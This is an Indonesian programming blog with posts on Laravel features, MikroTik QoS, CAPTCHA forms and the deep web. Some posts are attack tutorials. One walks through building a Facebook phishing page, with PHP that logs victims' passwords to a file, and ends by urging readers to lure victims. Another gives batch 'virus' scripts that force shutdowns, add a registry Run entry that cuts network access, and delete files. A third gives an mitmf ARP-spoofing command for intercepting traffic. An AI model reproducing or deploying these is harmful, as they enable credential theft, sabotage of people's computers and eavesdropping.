Saturday, December 15, 2018

Membuat Multi Level User Login Laravel



Membuat Multi Level User Login Laravel

Pada postingan kali ini saya akan membahas mengenai multi auth user, dimana kita bisa melakukan login dan masuk pada halaman berdasarkan role user kita. Sehingga halaman yang diperoleh oleh user susuai dengan role user itu sendiri. Multi auth disini artinya authentication yang lebih dari atau sama dengan 2. Membuat multi level user login pada laravel sebenarnya sangatlah mudah, kita hanya perlu memanfaatkan fungsi dari middleware dan tinggal atur saja role user nya.

Kenapa saya katakan mudah untuk membuat multi level user login di laravel ini, karena pada default laravel ini sudah menyediakan yang namanya sistem authentikasi sehingga kita tinggal jalankan satu perintah dan user akan dibuatkan secara otomatis.

php aritisan make:auth

Cukup dengan perintah diatas kita telah membuat user yang dibuat oleh laravel sehingga kita tinggal melakukan pengeditan saja pada user nya dengan menambahkan colom role atau level pada migration laravel.

Jika sudah melakukan diatas, selanjutnya untuk membuat multi level user login di laravel kita membutuhkan yang nama nya middleware. Apa itu middleware ?


Setelah membuat middlware kita akan mengatur pada model user nya dengan menambahkan function baru nya seperti berikut.

Model User
Untuk membuat multi level user login di laravel, tambahkan 2 function berikut ini untuk melakukan proses penyeleksian user nya nanti. Apakah dia login dengan role admin atau user, atau lainnya.

Selanjutnya kita akan mengatur pada middleware nya, 

Middleware

Untuk role user biasa diarahkan pada $next($request) dimana sudah saya arahkan secara default ketika login atau register.

Untuk role admin akan diarahkan pada route /progja , dimana admin dapat melihat data dan melakukan CRUD pada data tersebut.

Atau tidak keduanya, artinya user adalah superadmin yang akan diarahkan ke route /chart dimana  superadmin bisa melihat grafik data dan melakukan export data.

Kernel
Selanjutnya kita lakukan pendaftaran middleware pada kernel.php, dimana kita akan memanggil user untuk menggunakan middleware yang sudah kita buat tadi.

Langkah terkahir untuk membuat multi level user login di laravel adalah deklarasinya pada route.

Route
Kita akan melakukan autentikasi ketika user akan memasukan route tersebut.

Itulah tadi cara membuat multi level user login di laravel....


#SyntaxError
#1000JurusAkanKalahDengan1JurusyangDilatih1000Kali

Sunday, December 2, 2018

Cara Cepat Membuat PDF di Laravel


Cara Eksport ke PDF di Laravel -

Pada postingan kali ini saya akan membahas bagaimana caranya untuk membuat pdf di laravel, atau kita mengekspor data ke dalam bentuk PDF. Ada banyak cara untuk mengekpor data di PDF, salah satunya yang akan kita gunakan kali ini adalah dengan menggunakan package TCPDF. Sama seperti package lainnya, TCpdf ini berfungsi untuk mengekspor data yang ada pada web kita yang kemudian dapat kita jadikan sebuah tulisan berbentuk PDF.
TCPDF adalah kelas php untuk menghasilkan dokumen PDF tanpa memerlukan pustaka ekternal tambahan. TCPDF mendukung semua format halaman ISO dan format halaman kustom, margin dan satuan pengukuran, UTF-8 Unicode, bahasa RTL, HTML, barcode dan lainnya.

Adapun untuk membuat nya  terlebih dahulu kita memerlukan yang namanya package tcpdf.

composer.json

Berikut package yang digunakan. Letakkan package seperti biasa pada composer.json setelah itu ketikkan perintah pada cmd composer update dan tunggu proses nya hingga selesai.

Setelah selesai mendownload, kita akan mendaftarkan package tadi agar dapat digunakan pada config/app.


Providers
Aliases
Setelah mendaftarakan, kita akan menggunakan package tadi sesuai dengan nama aliases yang kita daftarkan. Untuk menggunakannya cukup ketikkan Use PDF pada controller.

controller
Setelah itu, pada controller nya akan kita buatkan syntax seperti dibawah ini.

view

Data yang akan kita keluarkan kita ambil dari table incomes, yang kemudian akan menjadi Rekap_income.pdf. Sebenarnya untuk syntax ini akan melihat terlbih dahulu preview pdf yang akan tampil. Entah kenapa saya coba pdf nya langsung terdownload.

Dan terakhir, kita tinggal buat view pada pdf nya. Pada pdf nya tinggal memasukkan table data seperti biasa saja kemudian nanti di keluarkan datanya dari controller yang dibawa.


<html>
    <head>
        <meta charset="utf-8">
        <title>Judul</title>
            <link href="{{asset('css_pdf/bootstrap.css')}}" rel="stylesheet">

    </head>
<body>
<h1> Rekapan Pemasukan </h1>
<table border="1px solid black" cellpadding="7">
    <thead>
        <tr style="text-align: center;">   
            <th style='width:"10%";margin: 10px;'><b>ID</b></th>
           <th style='width:"10%";margin: 10px;'><b> Nama</b> </th>
            <th style='width:"10%";margin: 10px;'> <b>Jumlah</b> </th>
            <th style='width:"10%";margin: 10px;'> <b>Tanggal</b> </th>
            <th style='width:"10%";margin: 10px;'> <b>Program </b></th>
            <th style='width:"10%";margin: 10px;'> <b>Keterangan </b></th>
        
        </tr>
        <!-- <td>Password</td> -->
    </thead>
    @foreach($incomes as $income)
    <tr style="text-align: center;">  
        <td style='width:"10%";margin: 10px;'>{{$income->id}}</td>
        <td style='width:"10%";margin: 10px;'>{{$income->nama}}</td>
        <td style='width:"10%";margin:10px;'>{{number_format($income->jumlah)}}</td>
        <td style='width:"10%";margin: 10px;'>{{$income->tanggal}}</td>
        <td style='width:"10%";margin: 10px;'>{{$income->progja->nama}}</td>   
           <td style='width:"10%";margin:10px;'>{{$income->ket}}</td>
    </tr>
    @endforeach
</table>
<p> <b> Total Pemasukan </b> : {{number_format($total)}}</p>
</body>
</html>

Itulah tadi cara membuat cepat membuat pdf di laravel..

Sunday, November 25, 2018

Cara Membuat Chart/Grafik di Laravel Tanpa Package

Cara Membuat Chart/Grafik di Laravel Tanpa Package


Pada postingan saya akan membagikan cara membuat Chart/grafik di laravel tanpa Package. Biasanya untuk membuat sebuah chart atau grafik di laravel menggunakan package ConsoleTvs yang paling populer. Biasanya untuk membuat sebuah chart/grafik di laravel kita harus mengikuti tutorial sesuai dengan aturan yang telah disediakan oleh package tersebut. Untuk cara membuat chart/grafik di laravel tanpa package ini sebenarnya sangat mudah, kita tinggal perlu meng-copy source code chart nya kemudian tinggal dibungkus dengan paket yang akan dibuat chart pada controller laravel.

Cara membuat chart/grafik di laravel ini sangat mudah karena kita tidak perlu menginstall sebuah package yang akan memakan waktu lama. Sebenarnya fungsi package pada laravel itu gunanya untuk memudahkan dalam pembuatan atau pengembangan software.  

Kali inisaya akan membuat chart/grafik di laravel menggunakan dokumentasi dari google developer chart atau kalia bisa klik disini Google Developers Appspot Chart.

Nah, pada dokumentasi google tersebut banyak code chart yang telah disediakan oleh google untuk tinggal kita pakai misalnya Bar chart, Line chart, pie chart, dan donut chart. Banyak sekali jenis chart yang bisa kita pakai pada laravel di google chart ini.

Cara menggunakan chart/grafik ini pada laravel sebagai berikut.

Pada Controller



Pada syntax diatas saya mencoba untuk mengeluarkan data dari database yang kemudian di groupby dan order by berdasarkan tanggal. Kemudian data yang sudah disiapkanakan dikirimkan ke blade.php yang nanti nya akan menampilkan chart/grafik nya.
Pada View


Tampilan pada viewnya, kita terlebih dahulu copy kan code chart dari google tadi yang ingin kita buatkan sebuah chart, kemudian pada bagian datanya, isikan data dari database yang sudah kita buat tadi pada controller. Pada kasus ini, saya akan menampilkan sebuah pemasukan dari sebuah komunitas berdasarkan tanggal dengan filter bulan saja. Dengan begitu kita menjadi lebih mudah melihat laporan pemasukan dari sebuah income. Sederhana sekali dan simple.


Itulah tadi bagaimana cara membuat chart/grafik di laravel tanpa package, walaupun ada kekurangan namun bisa kita jadikan alternatif jika tidak menggunakan package.

Cara Mudah Membuat Web Phising Terbaru

Cara Mudah Membuat Web Phising Terbaru

Pada postingan kali ini saya akan membahas tentang cara membuat web phising. Walaupun banyak sekali orang sudah mengetahuinya, tetapi saya yakin masih belum banyak orang yang bisa melakukannya dan ingin tau cara membuat web phisinh seperti postingan kali ini. Sebelum kita belajar cara membuat web phising, tahukan kalian apa itu web phising ? sekali lagi tahukah kalian apa itu web phising. 
Web Phising adalah web yang palsu untuk menipu korban sehingga korban memasukkan user dan password pada biasanya. Lalu bagimana cara kita membuat web phising ini ? Berikut ini adalah cara mudah membuat web phising terbaru versi nugaskuyy.

Langkah-langkah membuat web phising :

  1. Cari dan buka alamat web yang mau kita jadikan web phising. Misalkan kita akan membuat web phising https://www.facebook.com
  2. Setelah halaman terbuka sepenuhnya, tekan tombol CTRL + U di keyboard secara bersamaan. Kemudian akan muncul source code nya.
  3. Copy semua Source Code nya, lalu tekan CTRL + A kemudian CTRL+C untuk mengcopy semua source codenya. 
  4. Buka notepad/wordpad.
  5. Pastekan semua source code nya CTRL+V yang sudah di copy tadi.
  6. Cari menggunakan CTRL+F, cari <form action="fb.com" method="post">
  7. Ganti fb.com dengan phising.php. 
  8. Ubah method "post" menjadi "get".
  9. Save file dengan nama index.html, file type "All File".
  10. Buka Notepad baru. Copy kan Code PHP ini ke notepad.
  11. <?php header ('Location: http://fb.com ');
    $handle = fopen(passwords.txt, a);
    foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, =);
    fwrite($handle, $value);
    fwrite($handle, rn);
    }
    fwrite($handle, rn);
    fclose($handle);
    exit;
    ?>
     
  12. Ganti fb.com dengan facebook.com misal.
  13. Save dengan nama phising.php.
  14. Uplod ke hosting gratis.
  15. Setelah berhasil Upload jangan lupa setting permission/chmod di atur 777 untuk file password.txt, agar password yang diketikkan oleh korban dapat tersimpan.
  16. Selesai
Itulah tadi cara mudah membuat web phising terbaru. Gunakan web phising untuk memancing korban memasukkan password nya.

Tuesday, November 20, 2018

Cara Membuat Virus Sederhana Menggunakan NotePad


Cara Membuat Virus Sederhana Menggunakan NotePad

Pada postingan kali ini kita akan belajar membuat virus sederhana dengan menggunakan notepad. Sebelumnya kita akan mengenali virus ini terlebih dahulu sebelum kita akan membuat virus sederhananya di dalam notepad. Untuk itu kita perlu yang namanya sebuah pengertian dasar dari sebuah virus.

Pengertian Virus
Virus adalah sebuah software yang menggangu komputer, mulai dari process, hardware sampai perangkat lunak yang ada didalamnya sekalipun. Virus memilik banyak sekali nama , ada yang berbahaya namun juga ada yang tidak berbahaya. Virus yang berbahaya namanya malware. Malware ini sangat berbahaya sekali jika kita terkena. Dampaknya bisa berupa penyadapan, kehilangan kendali sistem, hingga hilangnya akses untuk membuaka folder di komputer. Berbahaya sekali bukan ? Oleh karena itu kita harus hati-hati dengan namaya virus. Jangan langsung download file dari internet tanpa dengan jelas siapa atau dari mana sumbernya, kemungkinan itu virus.

Namun, kali ini kita akan mencoba membuat virus sederhana yang dapat dilakukan oleh siapa saja. adal beberapa contoh virus yang bisa kita buat dengan notepad ini.

1. Virus Shutdown Komputer

@echo off msg * I don't like you shutdown -c "Error! Komputer kamu terpaksa harus Shutdown!" -s

Copy + Paste kan syntax diatas kedalam notepad, lalu save dengan extensi .bat dengan type file nya All files.

2. Mematikan Internet Secara Permanen


echo @echo off&gt;c:windowswimn32.bat echo break off&gt;&gt;c:windowswimn32.bat echo ipconfig/release_all&gt;&gt;c:windowswimn32.bat echo end&gt;&gt;c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo You Have Been HACKED! PAUSE

Copy + Paste kan syntaxnya diatas kedalam notepad, lalu save dengan ekstensi .bat dengan type file nya All files.

3. Virus Jahil

@echo off title Kuis hari ini! :menu cls echo Jika kamu kena virus apa yang kamu lakukan? pause echo pilih yang mana: echo 1. Matiin komputer echo 2. Format aja echo 3. Nangis echo 4. Beli komputer baru set input=nothing set /p input=Choice: if %input%==1 shutdown -s -t 30 if %input%==2 del c:xxx if %input%==3 @ECHO off msg * Muka lu jelek msg * Ngaca dulu gih! msg * Hayo lu, CPU lu gw acak-acak ya msg * Udah, install ulang aja msg * Mau kelar kan masalahnya? @ECHO off :top START %SystemRoot% system32notepad.exe GOTO top

Copy + Paste kan syntaxnya diatas kedalam notepad, lalu save dengan extensi .bat dengan type file nya All Files.

Itulah tadi cara mudah membuat virus sederhana dengan menggunakan notepad. Sebenarnya masih banyak namun 3 diatas adalah yang paling menarik menurut saya, so jangan lupa untuk dicobain dan jangan lupa untuk dibuka sendiri wkwk..


Saturday, November 17, 2018

Cara Konfigurasi Simple Queue pada Router Mikrotik

Cara Konfigurasi Simple Queue pada Router Mikrotik


Pada postingan kali ini saya akan memberikan ilmu yang baru saja saya dapatkan pada perkuliahan. Pada postingan kali ini kita akan membahas salah satu fitur Qos yang terkenal yaitu Simple Queue. Simple queue ini merupakan fitur pada QoS yang sangat sederhana dimana kita dapat mengatur limit bandwidth dengan mudah. Sebelum membahas tentang queueu, terlebih dahulu kita akan mencari tahu apa itu Qos ? dan bagaimana cara konfigurasinya di router. 


Simple Queue merupakan cara melakukan konfigurasi Qos pada router mikrotik dengan cara yang sederhana. Dalam simple queue kita tidak perlu lagi melakukan pengaturan lain-lain sehingga kita tinggal menetapkan langsung nilai yang ingin kita masukkan.

Pada kasus ini saya akan mencoba membuat sebuah topologi untuk simulasinya. Simulasi ini saya buat dengan menggunakan Packet Tracer.


Pada topologi diatas kita memiliki router yang terhubung ke internet, anggap saja server itu sebagai internet. Komputer kita mau mengakses internet tetapi kita akan melimit bandwidth yang didapatkan oleh end-user sehingga dia tidak menjadi maniac donwload.

Hal yang harus kita lakukan pertama kali adalah melakukkan konfigurasi awal untuk sebuah jaringan. konfigurasi atau pengaturan yang saya maksud adalah seperti pengaturan ip addres, NAT, DHCP server/client, Route list, DNS server dan lainnya. Namun jika anda belum familiar maka anda bisa lakukan konfigurasi tersebut dengan melihat cara ini.


Jika telah selesai melakukkan konfigurasi awal, maka selanjutnya kita coba akses ke internet apakah sudah terhubung atau belum. Lakukan perintah ping google.com atau browsing pada browser. Jika komputer telah terhubung ke internet. Maka coba lakukan donwload sebuah file, untuk melihat kecepatan bandwidth yang didapatkan. Saya coba praktikum saya kemarin mendapatkan bandwidth sebesar 12Mb/s untuk download nya. Pengalaman pertama saya download dengan speed begitu besar. 

Dari kasus diatas, bisa kita lihat bahwa pemakain seperti itu untuk satu host tentu akan boros sehingga jika ada host yang akan connect ke jaringan tidak kebagian bandwidth. Oleh karena itu kita akan setting simple queueu untuk membatasi limit bandwidth nya.



Baik, pada settingan simple queue ini sangat sederhana, kirta tinggal masukkan saja bilangan yang ingin kita masukkan sehingga limit akan teratur.
  • Name, adalah deskripsi nama queue yang ingin kita buat.
  • Target, adalah target host yang akan kita implementasikan simple queue nya. Bisa berupa interface, network atau IP address range.
  • Dst, adalah arah limit nya ke alamat mana. Jika kita biarkan kosong artinya pada setiap alamat di web browser akan kita limit.
  • Max Limit, adalah bandwidth maksimum yang didapatkan oleh host.
  • Burst Limit, adalah ketika rata-rata bandwidth yang didapatka dibawah treshold maka burst akan aktif.
  • Burst treshold, adalah atur diantara limit at dan max limit. Fungsinya adalah ketika rata-rata kecepatan bandwidth yang didapatkan dalam sekian waktu dibawah treshold maka burst limit akan aktif.
  • Burst Time, adalah kecepatan dalam mengambil sample untuk rata-rata.
Selanjutnya, kita setting limit at pada bagian advanced.


Buat limit at nya 1Mb saja. Sehingga bandwith yang akan kita dapatkan setidaknya 1mb untuk download maupun upload. Setelah settingan sudah selesai semua artinya simple queue sudah berhasil kita buat, dan hasilnya akan menjadi seperti ini.


Itulah tadi cara konfigurasi simple queue pada router mikrotik, mudah-mudahan bermanfaat.

#LuaskanIlmu

Wednesday, November 14, 2018

Apa itu Man in the middle (MITM) ? - Hacking Attack

Apa itu Man in the middle attack (MITM) ?

Pada postingan kali ini kita akan membahasa salah satu teknik hacking penyadapan yang dilakukan oleh hacker yaitu Man in the middle attack atau lebih dikenal dengan MITM. Sebelum kita membahas lebih dalam mengenai Man in the middle attack ini, kita akan mengetahui pengertian dari MITM itu sendiri terlebih dahulu.
Pengertian MITM

Man in The Middle Attack adalah salah satu teknik hacking dimana si hacker menempatkan dirinya berada pada lokasi di antara dua perangkat yang sedang terhubung. Dikarenakan hacker berada ditengah-tengah komunikasi maka dia dapat membaca, memodifikasi atau merusak integrity dari sebuah packet yang dikirim atau diterimadari kedua perangkat tersebut. Jika hacker berhasil menyadap korban hasil yang didapatkan bisa berupa apa saja yang korban lakukan. Bisa berupa password yang sangan privasi.

Cara Man in the Middle (MITM) bekerja

Cara kerja Man in the middle ini adalah kunci nya di ARP (Addresses resolution protocol). Mengapa ARP ? Karena ARP ini bertugas mengubah atau menerjemahkan alamat suatu IP address mejadi sebuah MAC Address. Pada windows kita dapat mengecek table ARp dengan mengetikkan perintah "arp-a" di command prompt (cmd). Kita akan melihat semua IP address yang terhubung dan MAC addressnya. 
Jika kita perhatikan rute normal ketika perangkat terhubung pada jaringan seperti ini.



Ini adalah gambaran ketika komunikasi antara client dan server secara normal. Namun jika si hacker mengambil jalah tengah antara mereka. Maka hacker dapat melancarkan akisinya. Seperti gambar dibawah ini




Hal ini dapat terjadi karena ARP memiliki kelemahan yaitu:
  1. Setiap ARP Request atau ARP respon selalu trusted/dipercaya.
  2. Klien dapat menerima sebuah respon walau mereka tidak request.
Ketika ada perangkat yang baru terhubung, maka akan mencari tau siapa routernya dengan mengirim ARP request tadi, sehingga hacker dapat menjawab request dari client sebagai router sedangkan ke router aslinya hacker mengaku sebagai client. Sehingga ketika client akan request sesuatu kepada router maka hacker dapat melihat paketnya. Wah..wah.. wahh.

Cara melakukan teknik MITM ( Man in the middle )

Untuk melakukan teknik MITM tidak menggunakan sembarangan perangkat. OS yang digunakan adalah Kali linux, atau bisa juga untuk pnegguna windows menjalankan kali linux pada virtual box.

Tool  yang digunakan untuk melakukan serangan ini adalah Framework MITM. Dalam melakukan serangan ini prinsip nya pertama adalah harus satu jaringan dengan korban. Kemudian untuk perintahnya ketikkan sebagai berikut. mitmf -arp -spoof -gateway[ip router] -targets [ip target].

Contoh : mitmf -arp -spoof -gateway 192.168.1.1 -targets 192.168.1.15

Kemudian aktifkan ip forward dengan cara mengedit file /proc/sys/net/ipv4/ip_forward yang awalnya 0 (tidak aktif) menjadi 1 (aktif)

Akibat dari serangan MITM
  1. Penyadapan
  2. Pencurian Cookie
  3. Menipu DNS
  4. Inject Java Script
Cara Menghindari Serangan MITM

Sebenarnya untuk serangan MITM ini susah sekali untuk di tebak karena yang namanya panyadapan kita tidak akan benar-benar tahu jika hacker telah serangannya. Kita hanya bisa menduga saja apabila ada hal-hal yang mencurigakan pada saat kita request kita bisa mengecek ARP table dengan perintah arp-a di command prompt. Pastikan tidak ada dua IP dengan sama network yang memiliki MAC address yang sama


Monday, November 12, 2018

Cara Menggunakan Captcha Pada Form Login


Cara Menggunakan Captcha Pada Form Login

CAPTCHA atau disebut cap-ch-uh yang merupakan singkatan dari Completely Automated Public Turing test to tell Computer and Humans Apart. Merupakan sejenis kaedah challenge-respon untuk memastikan bahwa respon yang dihasilkan hanya boleh dibuat oleh manusia dan bukannya komputer. Dengan kata lain, CAPTCHA adalah pengesahan kata ujian yang dimasukkan dari suatu bentuk sign up seperti sign ini akun gmail.

Fungsi CAPTCHA
  1. Mencegah commernt spam pada umumnya pemilik web/blog/lainnya. Tidak hanya ingin komen webnya terlihat bagus dalam penampilan, kuantitas tapi tentu kualitas, tapi tidak tau kalau adminnya sendiri yang spam.
  2. Mencegah spam bot. Karena Spam bot tidak bisa membaca CAPTCHA, karena string string pemogramannya sudah tetap. Tak mungkin captcha yang setiap saat berubah dapat dibaca oleh bot kecuali bot itu berasal dari engine bot itu sendiri.
  3. Mencegah flood. Flood bisa diartikan mengirimkan data secara berulang ulang.
Membuat Captcha

Langkah pertama yang perlu kita lakukan untuk menggunakan capthca nya pada form logn ialah kita siapkan terlebih dahulu web servernya. Pada kasus ini saya menggunakan Apache dan MySQl.



Selanjutnya kita akan menyiapkan Script yang akan kita gunakan untuk captcha nya pada web browser. Ketikkan script berikut dan letakkan dengan nama file homepage.hmtl


Jika scriptnya benar maka akan tampil seperti gambar dibawah ini






Setelah itu, agar lebih menarik bisa kita tambahkan css pada form nya agar menjadi rapi dan bagus. Disini kita akan menggunakan css langsung dari internet atau bisa didownload.


Selanjutnya kita akan membuat file captcha.php nya. Pada bagian ini merupakan bagian yang paling penting untuk di buat karena dari sini captcha akan beroperasi dan dicek untuk digunakan. Captcha akan mengecek apakah inputan yang dimasukkan user adalah benar dan sesuai.


Terakhir kita akan membuat file form.js sebagai notifikasi apabila terdapat kesalahan perintah dan succes ketika berhasil. Notofikasi isi sangat membantu kita dalam memberitahu user bahwa captcha yang dimasukkan salah atau tidak sesuai sehingga user dapat mencoba lagi memasukkan captcha yang tepat.

Lakukan pengujian dengan login pada form. Cek apakah berhasil menembus captcha nya atau tidak. Uji coba dengan email asli.


Saturday, November 10, 2018

Cara Mencegah Back Button Setelah Logout di Laravel

Cara Mencegah Back Button Setelah Logout di Laravel


Pada postingan kali ini kita akan membahas tentang back button pada laravel. Kenapa kita akan bahas ini ? mungkin kalian yang sedang mencari artikel ini atau menemukan artikel seperti judul diatas mengalami kejanggalan pada sistem authentikasi kalian. Sebelumnya kita akan bahas terlebih dahulu kenapa ini penting untuk kita ketahui dan kita gunakan.
Mungkin sebagian orang tidak sadar dengan keamanan sistem autentikasinya. Ya, tombol back button ini biasanya ketika kita ingin kembali pada halaman sebelumnya di posisi kita saat ini. Back button ini tentu saja sangat berguna, namun ketika kita tidak menggunakannya dengan bijak maka ini menjadi boomerang sendiri untuk kita.

Misalkan kita mempunyai sebuah website yang sedang kita bangun, kemudian kita mencoba login pada web dan setelah berhasil masuk, kita akan melihat tampilan yang harusnya tidak boleh dilihat oleh orang lain. Maksudnya hanya orang tertentu saja yang boleh melihat isi nya. Nah ketika kita mencoba untuk logout dan berhasil, coba kalian tekan back button pada browser kalian, apa yang terjadi ? 

Halaman akan tampil kembali pada saat kita belum logout tadi. Tentu saja ini sangat berbahaya untuk keamanan web kita. Untuk itu kita perlu mencegah back button ini agar ketika logout halaman tidak kembali pada saat kita login tadi.

Untuk cara mencegah back button ini jalan sebenarnya sangat mudah. Kita perlu melakukan yang namanya pencegahan cache atau menghapus history. Pertama yang kita perlukan adalah sebuah middleware.

Buat middleware baru pada project laravel kalian dengan nama custom. Untuk contoh ini saya buat namaya seperti ini.


Setelah itu kita akan mengedit middleware yang sudah kita buat tadi. Buka middleware yang baru tadi lalu ketikkan perintah sebagai berikut seperti yang terlihat pada gambar.


Ini adalah syntax yang gunanya untuk mereset cache yang kita gunakan, sehingga ketika kita logout kita seperti tidak punya history apa-apa pada web kita. Namun operasi yang dilakukan tetap ada pada web kita itu. Ketikkan persis seperti yang diatas syntaxnya. 

Setelah diedit, seperti biasanya ketika kita membuat sebuah middleware baru, kita akan mendaftarkannya pada kernel.php


Kita akan memberinya nama sesuai dengan nama middlewarenya tadi. Sebenarnya penamaannya ini bisa custom, karena namanya ini lah yang nanti kita gunakan pada saat route group di kumpulan routes nya nanti.

Setelah didaftarkan, kita akan membuat route group dengan middleware yang sudah kita buat tadi. Pada route.php atau web.php kita masukkan route group middleware yang tadi menjadi seperti ini. Untuk route nya bisa kita atur, ketika kita akan keluar atau logout pada saat di route apa saja atau halaman apa sajayang tidak boleh kita ada back buttonnya.


Selesai ? Silahkan lakukan login kemudian logout dan gunakan back button apakah halaman masih kembali atau tidak. Jika masih maka ....

#SyntaxError

Friday, November 9, 2018

Apa itu Deep Web dan Cara Mengakses Dark Web

Apa itu Deep Web dan Cara Mengakses Deep Web


Pada postingan kali ini kita akan membahas apa itu Deep Web dan bagaimana cara mengakses deep web. Terlebih dahulu kita akan mengenal apa itu deep web sehingga kita tidak terjebak dalam sesuatu yang tidak kita ketahui. Taukah kalian ungkapan dunia maya ? Dunia maya bisa dikatakan sebagai permukaan dari deep web itu sendiri. Jika digambarkan pada sebuah lautan, maka tampak dunia maya seperti yang ada pada gambar sehingga semua orang bisa mengaksesnya.
Namun, kita akan membahas apa itu deep web ? Apa pengertian deep web dan bagaimana cara mengaksesnya. Supaya kita tidak salah mengartikan tentang deep web lagi, kita akan membahasnya.

Apa itu Deep Web ?

Deep Web adalah konten-konten yang tidak terindex pada mesin pencarian seperti google,bing dan yahoo. Deep web itu ibaratkan laut pada bagian dalam sedangkan mesin pencari seperti google, bing dan yahoo merupakan kapal pesiar yang hanya berlayar pada permukaan saja. Namun, deep web ini masih dapat ditelusuri dengan tool khusus namanya browser Tor.

Ibarat mesin pencari pada umumnya seperti google, bing dan yahoo yang menggunakan browser mozilla dan chrome untuk aksesnya. Browser tersebut bisa kita ibaratkan sebagai kapal pesiar yang hanya bisa berlayar dipermukaan laut saja. Untuk dapat masuk kedalam laut apa yang diperlukan ? Ya, sebuah kapal selam. Kapal selam ini kita ibaratkan adalah Tor. 

Menurut hasil riset jumlah konten situs yang digolongkan sebagai deep web sangatlah banyak. Hampir 96% dari keseluruhan internet. Artinya situs yang biasa kita akses seperti blogger, youtube, facebook dll hanya lah 4% saja.

Konten yang ada pada deep web adalah konten yang rahasia dan tidak boleh sembarang oleh bisa melihatnya maupun mengaksesnya. Misalkan konten yang ada di deep web adalah database dari hasil penelitian, berkas-berkas pemerintahan, sistem-sistem keamanan dan lainnya. Tentu hal ini tidak boleh diketahui oleh sembarang orang.
Namun, masih banyak orang awam yang tidak tau deep web dan menganggap deep web merupakan tempat yang tidak pantas atau mengerikan. Walaupun sebenarnya ada seperti itu, namun tidak semua deep web itu buruk. Kita harus bijak dalam memandang sesuatu, tidak boleh melihatnya hanya dari segi negatif nya saja. Didalam deep web memang ada beberapa situs pornografi, jual beli narkotika, situs kekerasan dan peretasan. Hampir semuanya dari situs deep web yang kita kenal berdomain dot onion.

Bagaimana Cara Mengakases Deep Web ?

Jaringan TOR ( The Onion Router ) atau bisa disebut jaringan bawang adalah server yang membuat pengguna menjadi anonim di internet. Tor bekerja dengan cara mengarahkan lalu lintas internet anda ke lebih 3 relay sebelum sampai ke tujuan.



Pemilik site berdomain onion pastilah orang orang yang identitasnya tidak ingin diketahui. Karena jika mereka mempublikasikan maka mereka akan mudah terdeteksi dan mudah untuk dilacak. Oleh karena itu lah mereka menggunakan domain onion agar tidak bisa dilacak dan terdeteksi.

Cara mengakses deep web (Dark Web) tersebut salah satunya adalah dengan menggunakan Tor browser yang bisa di download di TorProject.

Berikut ini Tips yang akan membuat kita aman ketia memasuki dark web:
  1. Jangan mendaftarkan email. username dan password anda jika informasi tersbut sama dengna yang anda gunakan pada akun akun berharga kita. Jika memang diperlukan buat email khusus.
  2. Jangan mengaktifkan atau mendownload plugin pada tor browser. Alasannya adalah agar browser tidak terekploitasi program jahat seperti BeEF (Browser anda akan dikuasai jika suatu situs menjalankan BeEfing.
  3. Jangan mendownload pada tor browser, karena besar kemungkinan terdapat virus berbahaya atau semacamnya
  4. Jangan download melaui torrent di deep web.
  5. Jika diatas sudah di lakukan, tidak perlu menutup kamera laptop anda secara berlebihan karena setidaknya hacker memerlukan IP address kita untuk dapat mengakses sedangkan Ip kita sudah di protect oleh Tor Browser.
Ketika memasuki darkwen anda mungkin akan merasa tersesat karena tidak memiliki acuan. Ada Hiden Wiki kok. Silahkan menggunakan pencarian di hidden wiki pada tor browser.

Wednesday, November 7, 2018

Apa itu Qos dan Cara Settingnya pada Router

Apa itu Qos dan bagaimana settingnya pada Router ?




Pada postingan kali ini saya akan membahas tentang Qos. Mungkin sebagian dari kalian sudag bisa dan tau apa itu Qos dan cara settingnya pada router. Mungkin saat ini kalian lupa cara setting Qos dan mencari referensi untuk mengingat kembali bagaimana cara setting Qos pada router. Sebelum itu seperti biasanya, kita akan mengenal dulu apa itu Qos setelah itu cara settingnya.

Quality of Service atau yang lebih dikenal dengan Qos merupakan mekanisme jaringan yang memungkinkan aplikasi-aplikasi atau layanan dapat beroperasi sesuai dengan yang diinginkan. Kinerja jaringan komputer dapat bervariasi akibat beberapa masalah, seperti halnya masalah bandwidth, latency dan jitter, yang dapat membuat efek yang cukup besar bagi banyak aplikasi. Qos merupakan cara yang cukup efisien untuk berbagi bandwidth internet pada jaringan komputer dengan kualitas yang dijanjikan layanan internet.

Qos ==> Bandwidth Limiter

Tanpa Qos, komputer atau client yang terhubung akan bersaing mendapatkan bandwidth internet. Fungsi Qos ini akan berguna untuk mengatur penggunaan bandwidth oleh client. Misalkan saja dalam sebuah jaringan memilik 20 mb bandwidth, salah satu seoarang client memutar video youtube dan melakukan autoplay pada video selanjutnya, tetapi dia tinggal pergi. Hal ini menjadi sis-sia artinya clieny yang lain yang ingin memakai internet menjadi terhambat dikarenakan 1 client tersebut. Oleh karena itulah kita memerlukan namanya Qos. Qos ini biasanya dipakai untuk jaringan yang sudah luas atau WAN. Sehingga penggunaannya menjadi efektif.


Pada RouterOS, ada 2 jenis batasan rate limit:
  1. CIR (Commited Information Rate) - dalam keadaan terburukm client akan mendapatkan bandwidth sesuai dengan "limit-at".
  2. MIR (Maximal Information Rate) - jika masih ada bandwidth tersisa setelah semua client mencapai "limit-at", maka client bisa mendapatkan bandwidth tambahan hingga "max-limit".
Simple Queue

RouterOs bandwidth limit dapat dilakukan dengan berbagi cara ( Wireless access list, ppp secret dan hotspot user. Simple queue mengatur pembatasan bandwidth dengan hanya mendefinisikan parameter IP address (target) dari host.koneksi yang dilimit. Paling sederhana adalah melakukan pembatasan bandwidth mah-limit(MIR).

Cara setting Queue yang sederhana adalah sebagai berikut


Kita tentukan target kemudian atur max limit untuk upload dan downloadnya. Target bisa berupa host, range-host atau network.



Simple Queue sudah berhasil dibuat untuk host tertentu.

Qos Features "Burst"

Burst adalah salah satu cara untuk meningkatkan performance koneksi HTTP. Burst mengizinkan naiknya data rate dalam periode waktu yang singkat (burst time). Jika Average data rate lebih kecil dari burst-threshold, burst dapat digunakan (actual data rate dapat mencapai burst-limit).




Posisi Queue

Queue pada RouterOS dilakukan para parent interface:
  • Interface fisik (ether1, ether2, wlan1 ...)
  • Interface virtual: - Global in - Global Out - Global Total
Simple queue tidak bisa melakukan queue pada parent interface sehingga secara otomatis menggunakan virtual interface.

Itulah tadi tentang Qos dan cara settingnya pada router.

